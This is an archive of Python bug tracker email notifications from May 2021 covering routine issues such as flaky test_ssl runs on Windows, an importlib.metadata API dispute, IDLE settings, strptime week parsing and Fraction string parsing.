https://github.com/python/cpython/pull/26414 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 18:12:07 2021 From: report at bugs.python.org (Jaap van der Velde) Date: Thu, 27 May 2021 22:12:07 +0000 Subject: [issue44255] strptime and week numbers without week days Message-ID: <1622153527.88.0.966699825915.issue44255@roundup.psfhosted.org> New submission from Jaap van der Velde : When running: ``` datetime.strptime('2013 23', '%Y %W') ``` The result is `datetime.datetime(2013, 1, 1, 0, 0)`. When running: ``` datetime.strptime('2013 23 1', '%Y %W %w') ``` The result is `datetime.datetime(2013, 6, 10, 0, 0)`. It seems that `%W` is ignored, unless `%w` is also provided. But instead of throwing an error, a result is returned that is needlessly inaccurate. It could (and should?) return the first day of the week as a default, if an error is undesirable. Similar to: ``` datetime.strptime('2013 3', '%Y %m') ``` ---------- components: Library (Lib) messages: 394611 nosy: Jaap van der Velde priority: normal severity: normal status: open title: strptime and week numbers without week days type: enhancement versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 18:25:34 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 May 2021 22:25:34 +0000 Subject: [issue23937] IDLE: revise window size, placement startup options In-Reply-To: <1428955532.11.0.740629698052.issue23937@psf.upfronthosting.co.za> Message-ID: <1622154334.31.0.895461439382.issue23937@roundup.psfhosted.org> Terry J. Reedy added the comment: When I changed the title, I intended to broaden the issue beyond 'start maximized'. Even for that, there are two possibilities. 1. Configure option (default as now). 2. Save 'current' position, which helps non-maximizers also. So I am inclined to the latter with some definition of current. If we add multiple panes, maximized will make more sense. There is a subtle issue easy to not notice. Scrolling is slightly different when the window height an integral number of lines, as it now is on startup, or pixels, as after resizing with zoom or mouse grab. I believe 'lines' is enough better that I have considered snapping to 'lines' after changes. Not now though. The Settings dialog height is currently determined by the General tab. It is already too high for some notebooks: on my macbook, I can barely click OK (with 'OK' not visible) *after* putting the app bar on the side rather than bottom. We need to squeeze existing items rather than add another. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 18:40:14 2021 From: report at bugs.python.org (Joannah Nanjekye) Date: Thu, 27 May 2021 22:40:14 +0000 Subject: [issue11176] [doc] give more meaningful argument names in argparse documentation In-Reply-To: <1297352937.46.0.470038569364.issue11176@psf.upfronthosting.co.za> Message-ID: <1622155214.39.0.540009073187.issue11176@roundup.psfhosted.org> Joannah Nanjekye added the comment: Can you give the original authors some credit too on the PR, if you built on their work, please? We usually do it by putting co-author: in the PR comment. ---------- nosy: +nanjekyejoannah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 18:58:03 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 22:58:03 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622156283.38.0.314457102662.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: This issue now prevents me to merge https://github.com/python/cpython/pull/26414 backport :-( I'm debugging it on Windows. I tried: vstinner at DESKTOP-DK7VBIL C:\vstinner\python\main>python -u -X dev -m test -u all test_ssl -m test_pha_required_nocert -v -F -j2 (...) 0:00:35 load avg: 8.32 [ 77/1] test_ssl failed test_ssl: testing with 'OpenSSL 1.1.1k 25 Mar 2021' (1, 1, 1, 11, 15) under Windows ('10', '10.0.19042', 'SP0', 'Multiprocessor Free') HAS_SNI = True OP_ALL = 0x-7fffffac OP_NO_TLSv1_1 = 0x10000000 test_pha_required_nocert (test.test_ssl.TestPostHandshakeAuth) ... server: new connection from ('127.0.0.1', 51115) client cert is None client did not provide a cert server: connection cipher is now ('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256) TLS: (, 'write', TLSVersion.TLS v1_3, _TLSContentType.ALERT, _TLSAlertType.CERTIFICATE_REQUIRED, b'\x02t') Test server failure: Traceback (most recent call last): File "C:\vstinner\python\main\lib\test\test_ssl.py", line 2444, in run msg = self.read() File "C:\vstinner\python\main\lib\test\test_ssl.py", line 2421, in read return self.sslconn.read() File "C:\vstinner\python\main\lib\ssl.py", line 1131, in read return self._sslobj.read(len) ssl.SSLError: [SSL: PEER_DID_NOT_RETURN_A_CERTIFICATE] peer did not return a certificate (_ssl.c:2523) FAIL ====================================================================== FAIL: test_pha_required_nocert (test.test_ssl.TestPostHandshakeAuth) ---------------------------------------------------------------------- Traceback (most recent call last): File "C:\vstinner\python\main\lib\test\test_ssl.py", line 4458, in test_pha_required_nocert with self.assertRaisesRegex( AssertionError: SSLError not raised This is not the crash, but the fact that the test is not reliable doesn't help to debug :-( Moreover, I had to patch unittest locally, since a frame globals was None!? test test_ssl crashed -- Traceback (most recent call last): File "C:\vstinner\python\main\lib\test\libregrtest\runtest.py", line 282, in _runtest_inner refleak = _runtest_inner2(ns, test_name) (...) File "C:\vstinner\python\main\lib\unittest\result.py", line 209, in _count_relevant_tb_levels while tb and not self._is_relevant_tb_level(tb): File "C:\vstinner\python\main\lib\unittest\result.py", line 205, in _is_relevant_tb_level return '__unittest' in tb.tb_frame.f_globals TypeError: argument of type 'NoneType' is not iterable ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 19:05:41 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 23:05:41 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622156741.52.0.801219953377.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: Another error (not the crash): test_pha_required_nocert (test.test_ssl.TestPostHandshakeAuth) ... server: new connection from ('127.0.0.1', 51128) client cert is None client did not provide a cert server: connection cipher is now ('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256) TLS: (, 'write', TLSVersion.TLS v1_3, _TLSContentType.ALERT, _TLSAlertType.CERTIFICATE_REQUIRED, b'\x02t') Test server failure: Traceback (most recent call last): File "C:\vstinner\python\main\lib\test\test_ssl.py", line 2444, in run msg = self.read() File "C:\vstinner\python\main\lib\test\test_ssl.py", line 2421, in read return self.sslconn.read() File "C:\vstinner\python\main\lib\ssl.py", line 1131, in read return self._sslobj.read(len) ssl.SSLError: [SSL: PEER_DID_NOT_RETURN_A_CERTIFICATE] peer did not return a certificate (_ssl.c:2523) FAIL ====================================================================== FAIL: test_pha_required_nocert (test.test_ssl.TestPostHandshakeAuth) ---------------------------------------------------------------------- Traceback (most recent call last): File "C:\vstinner\python\main\lib\test\test_ssl.py", line 4463, in test_pha_required_nocert self.assertEqual(s.recv(1024), b'OK\n') AssertionError: b'' != b'OK\n' ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 19:36:15 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 23:36:15 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622158575.32.0.0556463863307.issue44246@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +25009 pull_request: https://github.com/python/cpython/pull/26415 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 19:36:21 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 27 May 2021 23:36:21 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622158581.21.0.546347009935.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: New changeset 28f12c9f4f39d283d823d81e311d863526dfdb54 by Jason R. Coombs in branch 'main': bpo-44246: Update What's New for importlib.metadata. (#26408) https://github.com/python/cpython/commit/28f12c9f4f39d283d823d81e311d863526dfdb54 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 19:38:09 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 23:38:09 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622158689.99.0.212746562399.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: https://dev.azure.com/Python/cpython/_build/results?buildId=81570&view=logs&j=c83831cd-3752-5cc7-2f01-8276919eb334 test.pythoninfo Py_DEBUG: No (sys.gettotalrefcount() missing) platform.architecture: 64bit WindowsPE platform.platform: Windows-10-10.0.17763-SP0 ssl.HAS_SNI: True ssl.OPENSSL_VERSION: OpenSSL 1.1.1k 25 Mar 2021 ssl.OPENSSL_VERSION_INFO: (1, 1, 1, 11, 15) ssl.OP_ALL: -0x7fffffac ssl.OP_NO_TLSv1_1: 0x10000000 ssl.SSLContext.maximum_version: MAXIMUM_SUPPORTED ssl.SSLContext.minimum_version: TLSv1_2 ssl.SSLContext.options: OP_NO_COMPRESSION|OP_ENABLE_MIDDLEBOX_COMPAT|OP_CIPHER_SERVER_PREFERENCE|OP_NO_SSLv3|0x54 ssl.SSLContext.protocol: PROTOCOL_TLS_CLIENT ssl.SSLContext.verify_mode: CERT_REQUIRED sys.version: 3.10.0b1+ (remotes/origin/de21daee57079ec694adc248a39e718ea0cf43f9:de21daee5, May 27 2021, ) [MSC v.1928 64 bit (AMD64)] sys.version_info: sys.version_info(major=3, minor=10, micro=0, releaselevel='beta', serial=1) sys.windowsversion: sys.getwindowsversion(major=10, minor=0, build=17763, platform=2, service_pack='') ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 19:40:09 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 23:40:09 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622158809.0.0.0292430165796.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: https://github.com/python/cpython/pull/26411/checks?check_run_id=2687367477 test.pythoninfo: Py_DEBUG: No (sys.gettotalrefcount() missing) os.cpu_count: 2 os.environ[VS140COMNTOOLS]: C:\Program Files (x86)\Microsoft Visual Studio 14.0\Common7\Tools\ platform.architecture: 64bit WindowsPE platform.platform: Windows-10-10.0.17763-SP0 ssl.HAS_SNI: True ssl.OPENSSL_VERSION: OpenSSL 1.1.1k 25 Mar 2021 ssl.OPENSSL_VERSION_INFO: (1, 1, 1, 11, 15) ssl.OP_ALL: -0x7fffffac ssl.OP_NO_TLSv1_1: 0x10000000 ssl.SSLContext.maximum_version: MAXIMUM_SUPPORTED ssl.SSLContext.minimum_version: TLSv1_2 ssl.SSLContext.options: OP_NO_COMPRESSION|OP_ENABLE_MIDDLEBOX_COMPAT|OP_CIPHER_SERVER_PREFERENCE|OP_NO_SSLv3|0x54 ssl.SSLContext.protocol: PROTOCOL_TLS_CLIENT ssl.SSLContext.verify_mode: CERT_REQUIRED sys.version: 3.10.0b1+ (remotes/pull/26411/merge:dddae6a, May 27 2021, 17:25:25) [MSC v.1928 64 bit (AMD64)] sys.version_info: sys.version_info(major=3, minor=10, micro=0, releaselevel='beta', serial=1) sys.windowsversion: sys.getwindowsversion(major=10, minor=0, build=17763, platform=2, service_pack='') ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 19:40:07 2021 From: report at bugs.python.org (Mark Roseman) Date: Thu, 27 May 2021 23:40:07 +0000 Subject: [issue44243] tkinter button colors on Mac In-Reply-To: <1622080561.97.0.61409319906.issue44243@roundup.psfhosted.org> Message-ID: <1622158807.33.0.977408597747.issue44243@roundup.psfhosted.org> Mark Roseman added the comment: Let it go. Changing the Python docs to a behaviour that isn't guaranteed by the underlying library is a virtual guarantee that a later version of Tk (or even the way the API it uses behaves on another version of macOS) will have some other (unrelated) modifications that change the current behaviour to something else. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 19:57:11 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 23:57:11 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622159831.68.0.646864283128.issue44246@roundup.psfhosted.org> miss-islington added the comment: New changeset 59f9594f9018450101079eb47e06e3c44cfeee36 by Miss Islington (bot) in branch '3.10': [3.10] bpo-44246: Update What's New for importlib.metadata. (GH-26408) (GH-26415) https://github.com/python/cpython/commit/59f9594f9018450101079eb47e06e3c44cfeee36 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 20:23:21 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 00:23:21 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622161401.82.0.300684105447.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: So far, I failed to reproduce the crash on my up-to-date local Windows 10 VM ("Version 21H1 (OS Build 19043.985)"). I built Python in release mode ("PCbuild\build.bat -e -p x64" command). I'm using Visual Studio 2019. test.pythoninfo: Py_DEBUG: No (sys.gettotalrefcount() missing) os.cpu_count: 2 platform.architecture: 64bit WindowsPE platform.platform: Windows-10-10.0.19043-SP0 ssl.HAS_SNI: True ssl.OPENSSL_VERSION: OpenSSL 1.1.1k 25 Mar 2021 ssl.OPENSSL_VERSION_INFO: (1, 1, 1, 11, 15) ssl.OP_ALL: -0x7fffffac ssl.OP_NO_TLSv1_1: 0x10000000 ssl.SSLContext.maximum_version: MAXIMUM_SUPPORTED ssl.SSLContext.minimum_version: TLSv1_2 ssl.SSLContext.options: OP_NO_COMPRESSION|OP_ENABLE_MIDDLEBOX_COMPAT|OP_CIPHER_SERVER_PREFERENCE|OP_NO_SSLv3|0x54 ssl.SSLContext.protocol: PROTOCOL_TLS_CLIENT ssl.SSLContext.verify_mode: CERT_REQUIRED sys.version: 3.10.0b1+ (heads/pr/26411:e269fa13a7, May 28 2021, 00:46:49) [MSC v.1928 64 bit (AMD64)] sys.version_info: sys.version_info(major=3, minor=10, micro=0, releaselevel='beta', serial=1) sys.windowsversion: sys.getwindowsversion(major=10, minor=0, build=19043, platform=2, service_pack='') ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 20:23:52 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 00:23:52 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622161432.03.0.505028194902.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset da9e0cb4dedf818540ad1f06305bb1ca9e568f51 by Miss Islington (bot) in branch '3.10': bpo-42972: Fully implement GC protocol for re types (GH-26368) (GH-26414) https://github.com/python/cpython/commit/da9e0cb4dedf818540ad1f06305bb1ca9e568f51 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 20:39:41 2021 From: report at bugs.python.org (edna) Date: Fri, 28 May 2021 00:39:41 +0000 Subject: [issue41217] Obsolete note for default asyncio event loop on Windows In-Reply-To: <1594023051.16.0.859268804549.issue41217@roundup.psfhosted.org> Message-ID: <1622162381.23.0.0319868728821.issue41217@roundup.psfhosted.org> edna added the comment: You guys missed a copy of the same note at a different location here: https://docs.python.org/3/library/asyncio-eventloop.html#running-subprocesses It's still visible in all versions of the documentation for Python >=3.8 and should be fixed as well, as I (e.g.) got confused by it! :) (also added the same comment in PR 21360 at GitHub already!) ---------- nosy: +e-d-n-a _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 20:48:39 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 00:48:39 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622162919.23.0.927481546646.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: Other recent ssl issues: * bpo-43921 * bpo-44229 * bpo-44237 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 21:03:09 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 28 May 2021 01:03:09 +0000 Subject: [issue44243] tkinter button colors on Mac In-Reply-To: <1622080561.97.0.61409319906.issue44243@roundup.psfhosted.org> Message-ID: <1622163789.67.0.972082293392.issue44243@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- resolution: -> third party stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 21:16:04 2021 From: report at bugs.python.org (Brandt Bucher) Date: Fri, 28 May 2021 01:16:04 +0000 Subject: [issue43413] tuple subclasses allow arbitrary kwargs In-Reply-To: <1614994631.23.0.248202692536.issue43413@roundup.psfhosted.org> Message-ID: <1622164564.67.0.729808679077.issue43413@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 21:27:35 2021 From: report at bugs.python.org (Anthony Sottile) Date: Fri, 28 May 2021 01:27:35 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622165255.76.0.212513894321.issue44246@roundup.psfhosted.org> Anthony Sottile added the comment: > Which types are sneaky and look like built-in types but do not act like them? well for starters, there's the tuple subclass which pretends to be a dict. but it violates substitutability for both `tuple` and `Mapping` so it's not useful in either contexts. mypy complains about incorrect types in overrides for both. the worst part of this is that the `__getitem__` moves from O(1) to O(N) (in some private code this makes importlib.metadata on 3.10 _10x slower than on 3.9_). next there's the `EntryPoints` tuple subclass which looks like a tuple but doesn't at all act like one (__getitem__ fails substitutability for example) -- this is an api break with 3.9 which returned a `list` (can't `.sort()` `.extend(...)`, etc. any more) > Given that backports are available I don't think this is appropriate. re-introducing a backport brings in a tree of dependencies that have been shaky at best with backward compatibility. in other words, using standard library importlib.metadata provides significantly improved compatibility and stability over the moving target backport (and its tree of dependencies, zipp being the one that breaks the most often from experience). you'll notice I closed the flake8 PRs specifically because I didn't want to reintroduce the backport. This backport also globally monkeypatches the import machinery breaking any other consumer as well -- in a tool as popular as flake8 I can't really make that global mutation decision for all of the other consumers. > The typing issues these were *trivially solved* by a dictionary comprehension using `entrypoint.name` -- it really did not need a full rework and break of the api to solve (could have just deprecated the `__iter__` which I actually suggested on the *original implementation* way back in 3.8) > The new APIs are not only easier to describe with types the types describing the new apis require *significant* `# type: ignore`s to pass mypy because they violate basic substitutability. they also cannot be used in any of the contexts they were appropriate for in <3.10 (Dict[str, List[EntryPoint]] or List[Entrypoint] depending on the api). > I'm not aware of a single breakage. I'm sorry but you have to have realized from the many issues on importlib-metadata or the many issues linking to your deprecation issue that there is significant toil caused directly by your change. cpython is meant to be a stable substrate to build upon, please do not force the community to shoulder the burden of your poor api decisions. > even without requiring an updated importlib_metadata backport. your proposed change introduced a different, unrelated package. not without its own maintenance problems (an additional dependency that has to ~work indefinitely, a hack at best to support this breaking change) > Given the amount of adoption already, reverting these changes is likely to cause more disruption than moving forward with them. I disagree, bigger things have been reverted (see: __future__.annotations) > So far, the only example presented above appears contrived and not an actual concern I promise you this is not a contrived case, if you look at your issue tracker it has been reported before and by others. For every issue reported there's likely tens or hundreds of others which are not reported. > It's common for Python minor releases to introduce undocumented changes that are technically incompatible I've seen this as a rationalization for intentional surprise breaking changes but I don't buy it. Additionally your comments about (paraphrased) "the testsuite didn't demonstrate this usecase so I'm free to change it" are frankly a cop out -- your api returned a dict and a list, that's part of the public api -- changing that is a breaking change. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 21:37:46 2021 From: report at bugs.python.org (Inada Naoki) Date: Fri, 28 May 2021 01:37:46 +0000 Subject: [issue44256] _functools._lru_list_elem is exposed unintentionally. Message-ID: <1622165866.57.0.738221495914.issue44256@roundup.psfhosted.org> New submission from Inada Naoki : _lru_list_elem is internal data strucuture. It is intended to be used only in _lru_cache_wrapper. Until Python 3.9, it is not exposed. But it is exposed by dd3912 accidentally. ---------- components: Extension Modules keywords: 3.10regression messages: 394626 nosy: methane priority: normal severity: normal status: open title: _functools._lru_list_elem is exposed unintentionally. type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 21:38:26 2021 From: report at bugs.python.org (Inada Naoki) Date: Fri, 28 May 2021 01:38:26 +0000 Subject: [issue44256] _functools._lru_list_elem is exposed unintentionally. In-Reply-To: <1622165866.57.0.738221495914.issue44256@roundup.psfhosted.org> Message-ID: <1622165906.82.0.591318808617.issue44256@roundup.psfhosted.org> Inada Naoki added the comment: Ref: GH-23405. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 22:26:08 2021 From: report at bugs.python.org (Zachary Ware) Date: Fri, 28 May 2021 02:26:08 +0000 Subject: [issue44248] copy.deepcopy calls objdect's __deepcopy__ with incorrect argument In-Reply-To: <1622130964.15.0.739693664196.issue44248@roundup.psfhosted.org> Message-ID: <1622168768.81.0.960593204966.issue44248@roundup.psfhosted.org> Zachary Ware added the comment: Actually, looking into the implementation a bit, I can say there is definitely no bug here. Line 153 basically works out to `y = x.__deepcopy__(memo)`, which is how the `__deepcopy__` method is documented[1] to be called. Calling `copier(x)` instead would cause serious problems when a well-behaved `__deepcopy__` method then tries to call `deepcopy(self.some_attribute, memo)`. As such, I'm closing this issue as "not a bug". [1] https://docs.python.org/3/library/copy.html (see the last paragraph) ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 22:31:58 2021 From: report at bugs.python.org (Adam Stewart) Date: Fri, 28 May 2021 02:31:58 +0000 Subject: [issue44253] tkinter searches for tk.tcl in wrong directory In-Reply-To: <1622140840.05.0.780709147987.issue44253@roundup.psfhosted.org> Message-ID: <1622169118.28.0.982875535935.issue44253@roundup.psfhosted.org> Adam Stewart added the comment: I think I FINALLY figured out the problem. We were setting `TCLLIBPATH` to `/lib/tk8.6` when it should be `/lib`. With this change, tkinter seems to work for me. Thanks for all of your help! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 22:42:41 2021 From: report at bugs.python.org (Inada Naoki) Date: Fri, 28 May 2021 02:42:41 +0000 Subject: [issue44256] _functools._lru_list_elem is exposed unintentionally. In-Reply-To: <1622165866.57.0.738221495914.issue44256@roundup.psfhosted.org> Message-ID: <1622169761.33.0.750651785528.issue44256@roundup.psfhosted.org> Change by Inada Naoki : ---------- keywords: +patch pull_requests: +25010 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26416 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 23:26:08 2021 From: report at bugs.python.org (ShinWonho) Date: Fri, 28 May 2021 03:26:08 +0000 Subject: [issue44257] typo and verbous grammar in the grammar spec Message-ID: <1622172368.56.0.587828284396.issue44257@roundup.psfhosted.org> New submission from ShinWonho : In Python Language Reference 10.Full Grammar Specification typo: assigment_expression verbous grammar: expressions and star_expression ---------- assignee: docs at python components: Documentation messages: 394630 nosy: docs at python, orangebana15 priority: normal severity: normal status: open title: typo and verbous grammar in the grammar spec type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 23:27:48 2021 From: report at bugs.python.org (ShinWonho) Date: Fri, 28 May 2021 03:27:48 +0000 Subject: [issue44257] typo and verbous grammar in the grammar spec In-Reply-To: <1622172368.56.0.587828284396.issue44257@roundup.psfhosted.org> Message-ID: <1622172468.16.0.846948134531.issue44257@roundup.psfhosted.org> Change by ShinWonho : ---------- keywords: +patch pull_requests: +25011 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26417 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 00:40:55 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 28 May 2021 04:40:55 +0000 Subject: [issue43654] IDLE: Applying settings disables tab completion In-Reply-To: <1617007235.89.0.0831829954955.issue43654@roundup.psfhosted.org> Message-ID: <1622176855.58.0.105250419376.issue43654@roundup.psfhosted.org> Terry J. Reedy added the comment: Tal, I think you had the right solution the first time. To me, tab is (should be) a fixed key, and the event added just once, like the other fixed keys. I am quite surprised that it isn't. Please revise or make a new patch to remove it from both configkeys.def and config.py. Even if I agreed with unfixing other keys, only <> would need rebinding, not an arbitrary subset of the fixed keys. We mostly did away with treating some features differently; what remains was mostly an expedient to get a too-big patch merged. I meant and still mean to finish the job. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 01:09:41 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 28 May 2021 05:09:41 +0000 Subject: [issue44256] _functools._lru_list_elem is exposed unintentionally. In-Reply-To: <1622165866.57.0.738221495914.issue44256@roundup.psfhosted.org> Message-ID: <1622178581.35.0.41561620745.issue44256@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +25013 pull_request: https://github.com/python/cpython/pull/26418 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 01:09:53 2021 From: report at bugs.python.org (Inada Naoki) Date: Fri, 28 May 2021 05:09:53 +0000 Subject: [issue44256] _functools._lru_list_elem is exposed unintentionally. In-Reply-To: <1622165866.57.0.738221495914.issue44256@roundup.psfhosted.org> Message-ID: <1622178593.75.0.656863012677.issue44256@roundup.psfhosted.org> Inada Naoki added the comment: New changeset 28be3191a9db2769ed05e55c6bcbccdd029656dd by Inada Naoki in branch 'main': bpo-44256: Do not expose _functools._list_elem_type (GH-26416) https://github.com/python/cpython/commit/28be3191a9db2769ed05e55c6bcbccdd029656dd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 01:47:31 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Fri, 28 May 2021 05:47:31 +0000 Subject: [issue44258] Support PEP 515 for Fraction's initialization from string Message-ID: <1622180851.71.0.222300329356.issue44258@roundup.psfhosted.org> New submission from Sergey B Kirpichev : Right now: >>> from fractions import Fraction as F >>> F(1_2_3, 3_2_1) Fraction(41, 107) but >>> F('1_2_3/3_2_1') Traceback (most recent call last): File "", line 1, in File "/home/sk/src/cpython/Lib/fractions.py", line 115, in __new__ raise ValueError('Invalid literal for Fraction: %r' % ValueError: Invalid literal for Fraction: '1_2_3/3_2_1' or even this (should be consistent with int constructor, isn't?): >>> F('1_2_3') Traceback (most recent call last): File "", line 1, in File "/home/sk/src/cpython/Lib/fractions.py", line 115, in __new__ raise ValueError('Invalid literal for Fraction: %r' % ValueError: Invalid literal for Fraction: '1_2_3' Tentative patch attached. Let me know if this does make sense as a PR. ---------- components: Library (Lib) files: fractions-from-str.diff keywords: patch messages: 394633 nosy: Sergey.Kirpichev priority: normal severity: normal status: open title: Support PEP 515 for Fraction's initialization from string versions: Python 3.11 Added file: https://bugs.python.org/file50069/fractions-from-str.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 02:07:28 2021 From: report at bugs.python.org (Tal Einat) Date: Fri, 28 May 2021 06:07:28 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622182048.49.0.606868013716.issue41611@roundup.psfhosted.org> Tal Einat added the comment: New changeset 4e2e5c1c4f792b4011e4c78d011baea2aee39f1b by Tal Einat in branch 'main': bpo-41611: IDLE: Catch TclError exceptions in AutoCompleteWindow.winconfig_event() (GH-26404) https://github.com/python/cpython/commit/4e2e5c1c4f792b4011e4c78d011baea2aee39f1b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 02:07:29 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 28 May 2021 06:07:29 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622182049.64.0.339514112547.issue41611@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25014 pull_request: https://github.com/python/cpython/pull/26419 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 02:07:34 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 28 May 2021 06:07:34 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622182054.31.0.87411344388.issue41611@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25015 pull_request: https://github.com/python/cpython/pull/26420 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 02:31:15 2021 From: report at bugs.python.org (Tal Einat) Date: Fri, 28 May 2021 06:31:15 +0000 Subject: [issue43654] IDLE: Applying settings disables tab completion In-Reply-To: <1617007235.89.0.0831829954955.issue43654@roundup.psfhosted.org> Message-ID: <1622183475.5.0.701511259503.issue43654@roundup.psfhosted.org> Change by Tal Einat : ---------- pull_requests: +25016 pull_request: https://github.com/python/cpython/pull/26421 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 02:39:44 2021 From: report at bugs.python.org (Tal Einat) Date: Fri, 28 May 2021 06:39:44 